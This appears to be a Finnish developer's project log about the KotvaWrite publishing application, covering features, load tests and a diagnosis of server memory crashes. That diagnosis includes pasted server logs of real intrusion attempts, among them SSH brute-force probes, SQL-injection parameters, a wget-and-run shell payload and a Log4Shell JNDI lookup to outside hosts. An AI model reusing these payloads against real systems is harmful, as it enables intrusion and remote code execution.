Erilaisia tilannetiedotteita, ennakkovaroituksia ym. olisi kerättävissä, muodostettavissa ja viestittävissä runsain määrin, sekä niiden hallintaa varten on monenlaisia sovellutuksia Linux-apuohjelmista websovelluksiin. Näiden käytettävyyttä ja sovellettavuutta selvitellään.
Asiakkaan ja käyttäjätunnuksellisten käyttäjien kannalta voisi olla hyödyksi, jos he saisivat jonkinlaista tuntumaa esim. siitä, minkälainen hetkellinen tilanne palvelimen tai palvelimien toiminnassa on. Tai abstraktiotasolla korkeammalta, julkaisusovelluksen joidenkin teosten tai niiden kirjoitusten runsaasti lisääntyneestä huomiosta ja seuraamuksista ennalta tiedon saanti voisi auttaa jonkinlaisessa valmistautumisessa.
Alustavaa selvittelyä sille, minkälaista mm. koodaamista se vaatii, että saa lähetettyä tekstiä kuvan kanssa mikrobloggauspalveluun, jossa kenties haluaa kertoa jostain julkaisemastaan. Ainakin Mastodonin ja Blueskyn käyttäjältä vaadittaisiin, että hänen täytyy tehdä sellaiseen käyttäjätunnus, tietenkin, minkä lisäksi hänen täytyy luoda sellaisen asetuksissa sovellus, johon koneellisesti (ohjelmistorajapinnan kautta) yhteyttä ottamalla viesti voidaan lähettää julkaistavaksi.
Sovelluksen luominen mikrobloggaus-palvelun asetuksissa ei sinänsä ole vaikea toimenpide, vaan lähinnä tarvitsee antaa sellaiselle jokin nimi, minkä jälkeen saa käyttöönsä apikeyn tai vastaavan, joka laitettaisiin talteen julkaisusovelluksen käyttäjäasetuksiin.
Esiselvittelyn yhteydessä tutustuttiin myös mikrobloggauspalveluiden kehittäjädokumentaatioihin, josko sellaiset on miten lukukelpoista ja jääkö paljonkin avoimia kysymyksiä. Ei sinänsä julkaisusovelluksen käyttäjän kannalta erityisen merkityksellistä, mutta joitakin voi kiinnostaa tarvittava koodin määrä näihin mikrobloggauspalveluihin postittamiseksi. Ohessa pari koodikatkelmaa, joista saanee hiukan tuntumaa.
Keskenään hyvin yhteen toimivilla kirjoituksien otsikoilla ja mainimage-kuvilla saa writing settejä käyttäessä luonnehdittua kirjoituksen sisältöä lukemaan vetoavasti. Mainimageilla voi myös esim. sävyttää vaikutelmaa, olla sarkastinen tai luoda johonkin samaan liittyvyyden tunnetta.
On sekä sellaisia selaimen lisäosia, joiden käyttöä voisi vahvasti suositella ja sellaisia, jotka voi tulla löytäneeksi, jos kokee, että sellaista haluaa käyttää. Näistä vahvasti suositeltavia olisivat esim. Snap Links (https://cpriest.github.io/SnapLinksPlus), jolla voi avata useita linkkejä kerralla ja optionaalisen vaihtoehtoisesti kopioida linkit leikepöydälle ja Gesturefy (https://github.com/Robbendebiene/Gesturefy), jolla voi määrittää hiirieleitä, joilla näppäröittää selaimen käyttöä. Sujuvoittaa tekemistä mukavasti, kun saa vaihdettua viereisellä välilehdelle muutaman pikselin verran hiirtä liikauttaen (samalla esim. hiiren oikean puoleista painiketta painaen). Molemmat saatavilla Firefox-selaimella sen lisäosa-hakemistosta (addons.mozilla.org).
Kirjoitetussa tekstissä olevien kielioppivirheiden ja muiden sanankäytöllisten lipsahdusten löytämisen avuksi on mahdollista asentaa selaimeen lisäosa, joka käy erillisen toisaanne käyttäjäksi rekisteröitymisen ja lisäosaan sisäänkirjautumisen jälkeen tarkistamaan tekstiä ja merkitsemään siihen, missä kohdin voisi olla jotain korjattavaa. Näitä ei tarvitse sen kummemmin konfiguroida tai säätää. Muutosehdotukset voi hyväksyä suoraan tekstieditorissa.
Jonkinlaisena porttiteoriana voi pitää sitä, että rekisteröityessään käyttäjäksi tuollaiseen palveluun, saattaa samalla tulla huomanneeksi, että ne tarjoavat muunkinlaisia toimintoja kuten tekoälyavusteinen tekstin generointi. Sellainen on tavallaan vastoin sitä, mitä tämän julkaisusovelluksen on ainakin alunperin ollut tarkoitus olla eli ensisijaisesti luodaan jotain itse, missä sitten esim. apuna ja/tai tarkistimena jotain täydentävää toiminnallisuutta tai ulkoista palvelua, jos sellaisia haluaa käyttää. Ei siitä varmaankaan pahasti sanomista tule, rajankäynninkin ollessa varsin haastavaa, sillä kirjoitetun esim. tekoälyinen uudelleenkirjoituttaminen on varsin lähellä kielenkääntämistä, jolle on jo laitettu erillinen ominaisuutensa käytettäväksi.
Taitto-ohjelma InDesign on mahdollistanut jo pitkän aikaa kaiken sen toiminnallisuuden kontrolloinnin ExtendScriptillä, joten tovi InDesignin ohjelmistorajapintaan tutustumisen jälkeen kävi selväksi, että sillähän tosiaan voi tehdä sen, mistä jo aiemmin visioi ja mikä ei ollut riittävän näppärää LaTeX-ladontajärjestelmällä. KotvaWrite Stories -projektin varmuuskopio (zip-paketti) sisältää kaiken oleellisen kirjoituksen InDesign-version luomiseen ja käytännössä ei tarvitsekaan kuin käynnistää InDesignissa yksi skripti, joka kysäisee ensin mistä hakemistosta oleelliset tiedostot löytyvät ja sitten se generoi teoksen toisenlaisen olomuodon saatavilla olevan aineiston ja tyylimäärittelyjen perusteella.
Manuaaliset kuormitustestit mukaan lukien KotvaWrite Stories kestää hyvin tavallista käyttöä ja vain yhdelläkin palvelimella toimiessaan sen voisi aivan hyvin jättää vaikka kuukaudeksi ilman erityisempää seurantaa, jos samanaikaiset käyttäjämäärät eivät ole aivan mahdottoman suuria. Tälle olettamukselle voivat aiheuttaa poikkeusta mystiset tapaukset, joiden yhteydessä virtuaalisen palvelimen (Linux) muistin ja levyn käyttö kasvavat hetkellisesti moninkertaiseksi, mikä sitten ns. kaataa sovelluspalvelimen, johon julkaisusovellus on asennettuna. Seuraukset eivät välttämättä ole kovinkaan kriittiset, sillä mahdollisesti kesken jääneet tallennukset tietokantaan ja tiedostoihin saa/saisi korjattua ja siistittyä semiautomaattisesti, minkä jälkeen riittää sovelluspalvelimen uudelleen käynnistäminen. Toisaalta, jos asiaan liittyy runsasta hakkerointikokeiluja, voivat jotkin käyttöjärjestelmätason resurssit olla lopuillaan kuten auki olevien tiedostojen määrä (eng. "files that are currently being reviewed or modified").
Käydessä silmäillen läpi käytössä olevan Linux-käyttöjärjestelmän ytimen logitiedostoa, voi sieltä tehdä huomiona, että muisti on päässyt totaalisesti loppumaan Java-prosessilta esim. 15.10.2022, 18.8.2022 ja 5.8.2022:
[Sat Oct 15 23:42:37 2022] Out of memory: Killed process 1295081 (java)
[Thu Aug 18 11:45:30 2022] Out of memory: Killed process 272984 (java)
[Fri Aug 5 06:11:36 2022] Out of memory: Killed process 4157049 (java)
Jos vähän tarkempia ollaan, sovelluspalvelin, johon julkaisusovellus on asennettuna, on itse asiassa Java servlet container, jota ajetaan Java-virtuaalikoneessa (Java Virtual Machine, JVM) ja tähän liittyvälle Java-prosessille on konfiguroitavissa, missä rajoissa sen sallitaan käyttävän muistia. Monien kuormitustestien perusteella tietyt konfiguroinnit muistinkäyttöön liittyen ovat erittäin riittäviä - kunnes eivät sitten jostain syystä olekaan.
Linux-käyttöjärjestelmään, josta julkaisusovellus asennettuna löytyy, on erikseen asennettuna kaksi APM-agenttia (Application Performance Monitoring), jotka keräävät reaaliajassa monenlaista tietoa esim. käyttöjärjestelmän ja julkaisusovelluksen toiminnasta, mitä voi sitten tarkastella lukuisin eri tavoin APM-palveluiden webkäyttöliittymissä (käytössä saattaa olla esim. New Relic ja Datadog). Näihin muistin loppuminen -tapauksiin liittyen on aina käynyt selville yhtä ja samaa eli nettiliikenteen määrä ei ole ollut merkittävänä tekijänä sellaisella hetkellä, jolloin virtuaaliprosessin käyttö on moninkertaistanut esim. 20-kertaiseksi ja levyä käytetään ihmeelliseen runsaasti lyhyen ajan puitteissa. Tuollaisina hetkinä ei olekaan ollut mikään ihme, että julkaisusovelluksen toiminta esim. tietokantakyselyiden osalta vie aikaa normaalien millisekuntien sijaan yli kymmenen sekuntia.
Lisäksi käytössä on myös mm. Papertrail-palvelu, johon voi uudelleenohjata logittumaan logitietoa useista eri lähteistä kuten sovelluspalvelimelta ja käyttöjärjestelmältä, jolloin logitietoja ei tarvitse käydä lueskelemaan Linuxissa komentotulkin käytön tasolla, vaan niitäkin voi tarkastella yhdenlaisen webkäyttöliittymän kautta. Sieltä on selvinnyt mm. sellaista, että joku tai jotkut wannabe-hakkerit tms. ovat tehneet paljon jonkinlaista kähmäistä kokeilua päästäkseen käyttöjärjestelmän, sovelluspalvelimen tai julkaisusovelluksen suojauksista läpi. Tällaista on jatkunut koko vuoden 2022, mutta siinä ei ole kertaakaan ollut pyrkimystä aiheuttaa DDoS-hyökkäyksiä (Distributed Denial of Service) eli palvelun toiminnan estämistä, vaan kyse on ollut esim. hitaasta käyttäjätunnuksien ja salasanojen kokeiluista levittäytyneenä pitkälle ajanjaksolle, jolloin esim. per minuutti kokeiluja ei kuin muutaman kymmentä. Siis joka minuutti, joka tunti, joka päivä ja joka kuukausi. Eikö vain voisi tehdä kerralla jotain oikein?
Muistin loppumisen ajoittumisen syyn päättelemisen kannalta voisi olla mahdollista nähdä yhteyttä hakkerointikokeilujen ajoittumiselle sekunteja ennen muistin loppumista, mutta koska kyse on ollut virtuaalisen palvelimen käyttämisestä dedikoidun sellaisen sijaan eli samoja fyysisiä laiteresursseja käyttää enemmän kuin yksi datakeskuksen asiakas ja joskus laitteet voivat myös vioittua, voisi syynä olla myös jostain muusta kuin mitä voi tarkastella käytettävissä olevista logeista ja visualisoitua tietoa näyttävistä kojelaudoista. Erikseen tätä datakeskus-palveluntarjoajalta kysyttäessä vastaus oli kuitenkin kieltävä eli tapahtuma-aikaan ei sen mukaan ollut mitään mainittavaa poikkeavuutta.
Muitakin potentiaalisia syitä muistin loppumiselle ja muille erityisen poikkeaville ongelmille olisi kuin jo mainitut. On esim. sovelluspalvelimen olemista versioltaan uusinta paljon jäljessä ja sama pätee myös Javaan, jota serveripuolella ohjelmointikielenä käytetään. Sillekin on erilliset parametrisäätönsä, millä perustein sovelluspalvelin ja Java siistivät muistista pois sellaista, mille ei enää ole käyttöä, mutta ne jätetään usein vakioasetuksiinsa. Kaikki tämä on sinänsä ihan hallittavissa olevaa, mutta voi vaatia pitkäaikaista seurantaa ja testailua, että rajatapaukset saadaan esille.
Loppuosa tästä kirjoituksesta sisältää huomioita erään muistinloppumis -tapauksen jäljiltä. Ja jos tässä voi lähettää terveisiä julkaisusovelluksen ylläpitäjälle, mainittakoon, että sen verran voisi tehdä lisäkonfigurointia, etteivät IP-osoitteet näkyisi 127.0.0.1-tyyppisinä sovelluspalvelimen logeissa, vaan alkuperäisinä IP-osoitteina. Tosin, olikohan General Data Protection Regulationilla (GDPR) jotain sanottavaa tähän?
Oct 15 22:52:42 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479370]: Invalid user ktx from 5.51.84.107 port 55716
Oct 15 22:52:42 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479370]: Received disconnect from 5.51.84.107 port 55716:11: Bye Bye [preauth]
Oct 15 22:52:42 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479370]: Disconnected from invalid user ktx 5.51.84.107 port 55716 [preauth]
Oct 15 22:52:56 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479454]: Invalid user postgres from 195.88.87.19 port 53396
Oct 15 22:52:56 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479454]: Received disconnect from 195.88.87.19 port 53396:11: Bye Bye [preauth]
Oct 15 22:52:56 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479454]: Disconnected from invalid user postgres 195.88.87.19 port 53396 [preauth]
Oct 15 22:55:25 snapshot-47300778-centos-2gb-hel1-1-final sshd[2480086]: Invalid user Test from 179.60.147.99 port 37284
Oct 15 22:55:25 snapshot-47300778-centos-2gb-hel1-1-final sshd[2480086]: Connection closed by invalid user Test 179.60.147.99 port 37284 [preauth]
Oct 15 23:13:34 snapshot-47300778-centos-2gb-hel1-1-final sshd[2484695]: Invalid user support from 193.106.191.50 port 49598
Oct 15 23:13:43 snapshot-47300778-centos-2gb-hel1-1-final sshd[2484695]: Connection closed by invalid user support 193.106.191.50 port 49598 [preauth]
Oct 15 23:29:58 snapshot-47300778-centos-2gb-hel1-1-final sshd[2488819]: Invalid user Test from 179.60.147.99 port 55870
Oct 15 23:29:58 snapshot-47300778-centos-2gb-hel1-1-final sshd[2488819]: Connection closed by invalid user Test 179.60.147.99 port 55870 [preauth]
Oct 15 23:39:43 snapshot-47300778-centos-2gb-hel1-1-final sshd[2491284]: Received disconnect from 92.255.85.69 port 26930:11: Bye Bye [preauth]
127.0.0.1 - - [15/Oct/2022:23:03:39 +0200] "POST /core/.env HTTP/1.1" 404 764
127.0.0.1 - - [15/Oct/2022:23:03:39 +0200] "GET /core/.env HTTP/1.1" 404 764
127.0.0.1 - - [15/Oct/2022:23:03:40 +0200] "POST / HTTP/1.1" 200 13720
127.0.0.1 - - [15/Oct/2022:23:03:40 +0200] "POST /core/.env HTTP/1.1" 404 764
127.0.0.1 - - [15/Oct/2022:23:21:47 +0200] "GET /view.jsp?solutionid=539'A=0&writingid=12501 HTTP/1.1" 200 13477
127.0.0.1 - - [15/Oct/2022:23:21:52 +0200] "GET /view.jsp?solutionid=539&writingid=12501'A=0 HTTP/1.1" 200 15507
127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /db/phpmyadmin/index.php?lang=en HTTP/1.1" 404 782
127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /sql/phpmanager/index.php?lang=en HTTP/1.1" 404 783
127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /mysql/pma/index.php?lang=en HTTP/1.1" 404 778
127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /MyAdmin/index.php?lang=en HTTP/1.1" 404 772
127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /sql/phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 784
127.0.0.1 - - [15/Oct/2022:16:18:21 +0200] "GET /shell?cd+/tmp;rm+-rf+*;wget+81.161.229.46/jaws;sh+/tmp/jaws HTTP/1.1" 404 756
127.0.0.1 - - [15/Oct/2022:16:18:25 +0200] "GET /shell?cd+/tmp;rm+-rf+*;wget+81.161.229.46/jaws;sh+/tmp/jaws HTTP/1.1" 404 756
127.0.0.1 - - [15/Oct/2022:16:06:46 +0200] "GET /admin.pl HTTP/1.1" 404 759
195.96.137.4 - - [15/Oct/2022:16:06:46 +0200] "GET /admin.jsa HTTP/1.1" 404 760
127.0.0.1 - - [15/Oct/2022:11:57:08 +0200] "GET /linusadmin-phpinfo.php HTTP/1.1" 404 773
127.0.0.1 - - [15/Oct/2022:11:57:08 +0200] "GET /infos.php HTTP/1.1" 404 760
127.0.0.1 - - [15/Oct/2022:10:22:58 +0200] "GET /wp1/wp-includes/wlwmanifest.xml HTTP/1.1" 404 790
127.0.0.1 - - [15/Oct/2022:10:22:58 +0200] "GET /test/wp-includes/wlwmanifest.xml HTTP/1.1" 404 791
82.99.217.202 - - [15/Oct/2022:07:52:03 +0200] "GET /?id=%24%7Bjndi%3Aldap%3A%2F%2F218.24.200.243%3A8066%2FTomcatBypass%2FY3D HTTP/1.1" 200 13720
127.0.0.1 - - [15/Oct/2022:01:29:44 +0200] "POST /FD873AC4-CF86-4FED-84EC-4BD59C6F17A7 HTTP/1.1" 404 787
14-Oct-2022 04:01:50.622 INFO [http-nio2-8080-exec-21] org.apache.coyote.http11.Http11Processor.service Error parsing HTTP request header
Note: further occurrences of HTTP request parsing errors will be logged at DEBUG level.
java.lang.IllegalArgumentException: Invalid character found in method name [0x160x030x010x00{0x01;0x993Z0x15e}0x005/0x050x010x00...]. HTTP method names must be tokens
15-Oct-2022 14:21:12.637 INFO [http-nio2-8080-exec-6] org.apache.coyote.http11.Http11Processor.service Error parsing HTTP request header
Note: further occurrences of HTTP request parsing errors will be logged at DEBUG level.
java.lang.IllegalArgumentException: Invalid character found in method name [0x160x030x010x00{0xe40x920x88{#{*<0xc80xec0xfc}l0x820x85\0xcc0x1a0xc0/0x0050xc00x000x00...]. HTTP method names must be tokens
Kun prosessoritehoja ei ole käytettävissä riittämiin, virtuaalipalvelimen vcpu-tason vaatimattomuuden vuoksi, alkaa sovelluspalvelimen kuormittuminen näkymään prosessorin käyttöasteessa, mikä on tässä visualisoitu Hetznerin webkäyttöliittymän tarjoamassa graafissa ja mistä voi lukea, että hetkelliset prosessorin käyttöasteet ovat olleet huomattavan paljon suurempia kuin mitä ne tavallisesti ovat.
Samaista kuormituksen tasoa voidaan luonnehtia myös mm. Datadog-monitorointipalvelussa ja mistä voi tässä tapauksessa lukea, kuinka kävijämäärien minuuttikohtainen lisääminen tuhannella ja taas tuhannella jne. ovat aiheuttaneet aina vain suuremman kuormituksen.
testisivu: kirjoitus parilla kymmenellä tekstikappaleella ja muutamalla kuvalla
sivulataukset: 8000 per minuutti
vcpu: 4
maxthreads: 3 - 4
selviytyvyys: kun useita kävijöitä ei olla valmiita ottamaan käsiteltäväksi kovinkaan paljoa kerralla, kävijät joutuvat odottamaan kauemmin käsiteltäväksi tulemistaan, mutta maxthreadsin lisääminen yhdelläkin voi riittää siihen, että vasteajat ehättävät stabilisoitumaan
testisivu: teoksen etusivu, nelisenkymmentä kirjoitusta, jäsenneltynä muutamaan kirjoitusten kokoelmaan, näytettynä etusivun tyyppinä plain structure
sivulataukset: 10000 per minuutti
vcpu: 4
selviytyvyys: välimuistittamaton sivu käy latautumaan tasaisella n. 110 ms:n vasteajalla, kun kävijöitä max. 200 per sekunti
testisivu: teoksen etusivu, nelisenkymmentä kirjoitusta, jäsenneltynä muutamaan kirjoitusten kokoelmaan
samanaikaisuus: koko testin ajan sama virtuaalipalvelin ottaa vastaan ja skaalaa eri kokoihin kuvia, joiden koko pikseleinä 1920x1080
sivulataukset: 10000 per minuutti
vcpu: 4
selviytyvyys: vasteaikoihin tulee hiukan häilyntää, mutta enintään n. 40 sekuntia vasteaikaan vaikuttavasti, kun kävijöitä max. 200 per sekunti
testisivu: kirjoituksen kokoelman kolmisenkymmentä kirjoitusta kerralla ladattuna
sivulataukset: 4000 per minuutti
vcpu: 4
selviytyvyys: vasteajat pysyvät kelpaavan matalina, mutta niissä on jatkuvaa häilyntää
testisivu: kirjoitus parilla kymmenellä tekstikappaleella ja muutamalla kuvalla
sivulataukset: 35000 per minuutti
vcpu: 8
maxthreads: 140
selviytyvyys: kävijämäärien tasainen lisääminen nostattaa vasteaikoja varsin korreloivasti kirjoituksella, joka olisi ladattu yksittäin n. 80 ms:ssa, eivätkä vasteajat pääse stabiloitumaan, mutta 35000 sivulatausta per minuutti hyvällä 250 ms:n latausnopeuden keskiarvolla ei ole huono testitulos ollenkaan
testisivu: kirjoituksen kokoelman kolmisenkymmentä kirjoitusta kerralla ladattuna
sivulataukset: 4000 - 9000 per minuutti
vcpu: 8
selviytyvyys: vasteajat paranevat lähes 100 millisekuntia verrattuna vcpu-määrä 4:ää ja pysyttelevät jokseenkin stabiileina, pysyttäytyen sillä tasolla aina 7000 sivulatausmäärän per minuutti asti, mutta 8000 alkaa käymään jo hankalammaksi palvelimelle ja 9000 olikin sitten jo jokseenkin mahdotonta viedä testinä loppuun asti ilman odotusaikojen kasvamista suuriksi
testisivu: kirjoituksen kokoelman kymmenisen kirjoitusta kerrallaan ladattuna
sivulataukset: 10000 per minuutti
vcpu: 8
maxthreads: 140
selviytyvyys: vcpu-määrän tuplaaminen 4:stä mahdollistaa minuutin testin läpiviemisen, mutta kävijämäärien tasainen lisääminen nostattaa vasteaikoja varsin korreloivasti
testisivu: kirjoituksen kokoelman kymmenisen kirjoitusta kerrallaan ladattuna
vcpu: 4
selviytyvyys: kun Tomcat-palvelin on konfiguroitu harkitsemattomasti, se pääsee kuormittumaan pahanlaisesti, kun kävijät joutuvat asettumaan jonoon, jota ei ehditä kaikilta osin ottaa käsiteltäväksi
Tekstieditorikomponenttiin on tullut suhtauduttua pitkään jonkinlaisena riskinä, sillä sen kehittäjätaholta ei vaikuttanut olevan tulossa uudempaa versiota, vaikka sellaista olikin lupailtu jo useampi vuosi sitten. Versio 1.3.7 oli julkaistu syyskuussa 2019 ja seuraavan version ensimmäinen betaversio tuli julki vasta joulukuussa 2023. Siitä sitten vielä puolisen vuotta eteenpäin, sisältäen lisää muutoksia ja bugikorjauksia, ennen kuin siihen tohti suhtautua stabiilina päivityksenä, jota voisi kokeillakin. Eräs pitkäaikaisista ongelmista oli Undo-/Redo-toiminnon aiheuttama tekstieditorissa olevan sisällön meneminen sekaisin ja kursorin omituisesti väärin paikkoihin hypähtely. Tämä vaikuttaa olevan korjattu. Onneksi muita vastaavia ohjelmistokomponentteja ei ole monia, joten ei tullut vaihtaneeksi johonkin toiseen.
Kyseistä tekstieditorikomponenttia on hyödynnetty mm. sen laajennettavuuden osalta, sillä sille on kätevä valmistella uusia elementtejä kirjoituksissa käytettäväksi (mm. placeholderit) ja hyvin toimivat Undo/Redo ovat erittäin tärkeitä kirjoituksessa ollessa paljon erilaisia tyylittelyjä.
Kirjoituksien kokoelmat kirjoituksineen ja erikoissivut eivät ole ainoita asioita, joita teoksen etusivulla voi kohdata. Sideshow:ksi nimitetty ominaisuus mahdollistaa sijoittamaan etusivun laidan paikkeille eräänlaisen tietopaneelin, johon voi tuoda tietokyselyjen tuloksia eri tietokannoista, kirjoituksien listoja eri perustein, ajankohtaisuuksia toisaalla, mainoksia, interaktiivisia toimintoja ym.
Editointioikeuksia on voinut antaa projektikohtaisesti julkaisusovelluksen instanssin käyttäjille jo pitkään, mutta kanssaeditoivien käyttäjien valinnan tekeminen vaatii laittamaan kokeelliset toiminnot hetkeksi käyttöön. Editoivan käyttäjän oikeudet ovat tarkasti esirajattuja CRUD-oikeuksia ja mahdollistavat lähes kaiken projektin editoimisen poislukien sen poistamisen. CRUD tulee sanoista Create, Read, Update ja Delete. Editoivan käyttäjän oikeudet eivät mahdollista käyttämään side projekteissa näkymiä kuten writing sending, file storing, AI image search ym. Myöskään adequate settejä ei pysty niillä oikeuksilla yhteiseditoimaan.
Sisäänkirjautumisen jälkeen saatavaa sessiokoodia jakamallakin voi jakaa käyttöoikeuksia, mutta tuolloin tulee antaneeksi oikeuden kaikkeen siihen, mitä kyseisellä käyttäjätunnuksella voi tehdä. Julkaisusovelluksen sisäisissä toiminnoissa on valmisteltuna mahdollisuus viestiä koneellisesti reaaliajassa kahdella eri päätelaitteella julkaisusovellusta käyttävien kesken, mutta sitä ei ole hyödynnetty yhteiskehittämisen tarkoituksessa.
Authors-merkinnät on myös vain aikeilua, jota ei saa käyttöön edes kokeelliset toiminnot päälle laittamalla. Ideana on ollut, että käyttäjä voi lisätä sekä omiinsa, että editointioikeudellisten projektien kirjoituksiin authoreita, joita hyödynnetään niissä yhteyksissä, joissa tekijöiden ym. tiedot tulevat näytettäväksi. Esim. kirjoituksien hienosäätö -näkymässä voisi lisätä contributors-placeholderin tekstiin, jonka perusteella kirjoituksen lopulliseen versioon sijoittuu mukaan author-tietoa. Toiminto tähän löytyy Tools-valikosta ("Functional embed: contributors"). Tämän placeholderin voi ALT-klikkauksella muuntaa tavalliseksi tekstiksi.
Näitä "authoreita" voi luoda käyttäjäasetuksien Authors-välilehdellä, sekä niitä voi tarvittaessa siirtää käyttäjältä toiselle. Niillä voi viestiä lukijoille siitä, minkälaisessa roolissa minkäkinlainen author on osallistunut kirjoituksen tai sen muiden osien tekemiseen. Myöhemmin myös kuvien käyttö mahdollista, mutta tässä vaiheessa nämä authorit vain tekstinä. Editointioikeudelliset käyttäjät eivät voi poistaa kirjoituksista kuin omia authoreitaan.
Nämä authorit ovat sillä tapaa löyhässä yhteydessä (eng. loose decoupling) kirjoituksiin, että relaatio niihin katkeaa, jos projekti ensin eksportoidaan ja sitten poistetaan muiden projektien joukosta. Varmuuskopion mukaan päätyy mukaan vain authorin nimen verran vihjettä, mutta toisaalta Usabilities-näkymässä tulee olemaan semiautomaattinen authoreita uudelleen kytkevä toiminto.
"Spacious"-tekstieditoinnissa yritetään emuloida vierekkäin ja allekkain aseteltuja sivuja käyttämällä monirivisiä, kooltaan muutettavia tekstikenttiä, joissa tekstiä juoksutetaan tekstiä kirjoittaessa automaattisesti niin moniin muihin tekstikenttiin kuin on tarpeen. Tekstikentältä toiselle pääsee myös näppäimistön nuolipainikkein. Jos tekstiin on liitetty kuvia tai muita liitettävissä olevia, ne säilyvät muuttumattona, vaikkei niitä tässä moodissa asetellakaan esille sen osoittamiseksi, että ne ovat kirjoitukseen liitettynä.
Huomioitavaa.. spacious-moodissa rajoituksena on ainakin toistaiseksi, että kirjasimena täytyy käyttää tasalevyistä sellaista, eikä tekstissä voi olla muotoiluja tai kuvia. Tekstiä ei myöskään voi kopioida näppärästi hiirellä siten, että ottaisi kerralla kopioitavaksi useammassa kuin yhdessä tekstikentässä olevaa sisältöä. Ensimmäisen tekstikentän alakulmassa on kokosäädin, jolla voi säätää kaikkien tekstikenttien kokoa esim. sellaisiksi, että tekstikenttinä on kaksi leveää ja korkeaa sellaista vierekkäin, kolme pitkulaista vierekkäin tai pienikokokoisia tekstikenttiä ruudukkomaisesti rivitettynä. Ylimääräiset tekstikentät poistetaan automaattisesti tai jos niitä tarvitaan lisää tekstin mahduttamiseksi, niitä lisätään. Selainikkunan koon säätämisellä saadaan lisää säätömahdollisuutta sille, kuinka monta tekstikenttää voidaan mahduttaa vierekkäin. Yhdelle riville mahtumattomat aloittavat uuden rivillisen tekstikenttiä.
Spacious-moodissa on mahdollisuus siirrättää tekstikappaleita eteen- tai taaksepäin sijoittamalla kursori jonkin tekstikappaleen kohdalle ja painamalla Ctrl-näppäimen kanssa nuolinäppäimillä ylös- tai alaspäin. Siirtyvä tekstikappale vaihtaa tällöin paikkaa viereisen kanssa. Tämä toiminto vahvistaa tuntumaa siitä, että teksti on yhtenäistä, sillä tekstikappale siirtyy tekstikenttien välillä siinä missä tekstikentän puitteissakin.
Olennaisin tavoite KotvaWritessa on ollut se, että lukuisia kirjallisten teosten asettelukokeiluja ja säätöjä pystyisi tekemään useita siinä määrin lyhyessä ajassa, että odottavan aika ei tuntuisi pitkältä ja että mielekkäisiin vaihtoehtoisiin päädyttäisiin vaivattoman tuntuisesti. Käytetty ladontajärjestelmä (XeTeX) ei kuitenkaan pysy mukana niin nopeassa tahdissa, mikä ohjasi merkittävästi tuotekehitystä sillä tapaa, että päädyttiin jakautumaan kahteen eri tuotelinjaan, joista toinen (KotvaWrite Stories) tuottaa HTML-pohjaisia teoksia monipuolisemmin tyylikeinoin ja toinen (KotvaWrite Explanations) tuottaa sekä PDF-, että HTML-pohjaisia teoksia, mutta aiempaa hieman rajatummin asettelu- ja säätökeinoin.
JDK 1.8, JPA, REST, EclipseLink, Eclipse, Visual Paradigm for UML, Foundation, Backgrid, Backbone, Underscore.js, SASS, jQuery, HTML5, CSS 2.1/3, MySQL, MariaDB, MongoDB, JavaScript, NoSQL, JNDI, Tomcat 8, Digital Ocean, Putty, Linux command line tools, TeX, LaTeX, XeLaTeX, Loadster, NeoLoad, New Relic, Datadog, Nginx, HAProxy, Parse API, UML, Git, JUnit, Photoshop, MySQL Workbench
Java-pohjainen sovellus generoi .tex-tiedoston, josta se tuottaa xelatex.exeä tai pdflatex.exeä käyttäen .pdf-tiedoston, jonka sisältöön ja rakenteeseen vaikuttavat web-käyttöliittymässä tehdyt säädöt, annettu teksti ja melko harkitsemattomiin kohtiin sijoitetut kuvat. XeTex-ladontajärjestelmä laskee mahtuvuudet, sekä latoo tekstit ja kuvat. Toisinaan sen täytyy antaa tehdä laskelmiaan kahden kierroksen verran. Apache PDFBoxia käytetään luomaan yksittäisistä sivuista esikatselukuvat web-käyttöliittymässä tarkastelua varten.
Edelleen kyse verkkosovelluksesta, joka jämäköittää kirjamaisien, verkossa luettavien teoksien tuotantoprosessia. Palvelu koostuu neljästä osiosta, joissa voi ajatella tehtävän seuraavia asioita:
Edelliseen versioon nähden merkittävin uudistus on tapahtunut käyttöliittymätasolla, joka on laitettu kokonaan uusiksi. Sovelluksen suunnittelussa on hyödynnetty mukautuvaa verkkosuunnittelua (eng. responsive design) sen parantaessa olennaisesti käyttökokemusta. Sittemmin mukaan on tullut jonkin verran lisäominaisuuksia (mm. automatisoidusti generoituva PDF-tiedosto ja HTML-version tulostusversiota on hienosäädetty).
Java EE 6, JPA, REST, EclipseLink, Eclipse, Oxygen XML, Visual Paradigm for UML, Foundation, Backgrid, Backbone, SASS, jQuery, HTML5, CSS 2.1, MySQL, OrientDB, XML, iText, JavaScript, NoSQL, JNDI, Tomcat 7, AppFog, UML, Mylyn, Git, JUnit, Photoshop, MySQL Workbench
KotvaWrite on hyödyllinen verkkopalvelu sellaisen tekstipohjaisen aineksen luomiseen ja editoimiseen, joka jolla on kirjamainen rakenne (käytännössä useita kirjoituksia sijoitettuna kokoelmiin, jotka voidaan yhdistää isommaksi kokonaisuudeksi) ja jonka voi exportata PDF-tiedostoksi tai antaa sen olla muiden luettavissa HTML-muotoisena. Tekstin joukkoon on mahdollista sijoittaa kuvia, kuvituksia, piirroksia ja tiettyjä muunlaisia "liitteitä", joita on usein nähtävissä blogiviesteissä.
Java EE 6, JPA, REST, EclipseLink, Eclipse, Oxygen XML, Visual Paradigm for UML, Dojo, jQuery, HTML5, CSS 2.1, MySQL, OrientDB, XML, JavaScript, NoSQL, JNDI, Tomcat 7, AppFog, UML, Mylyn, Git, JUnit, Photoshop, MySQL Workbench
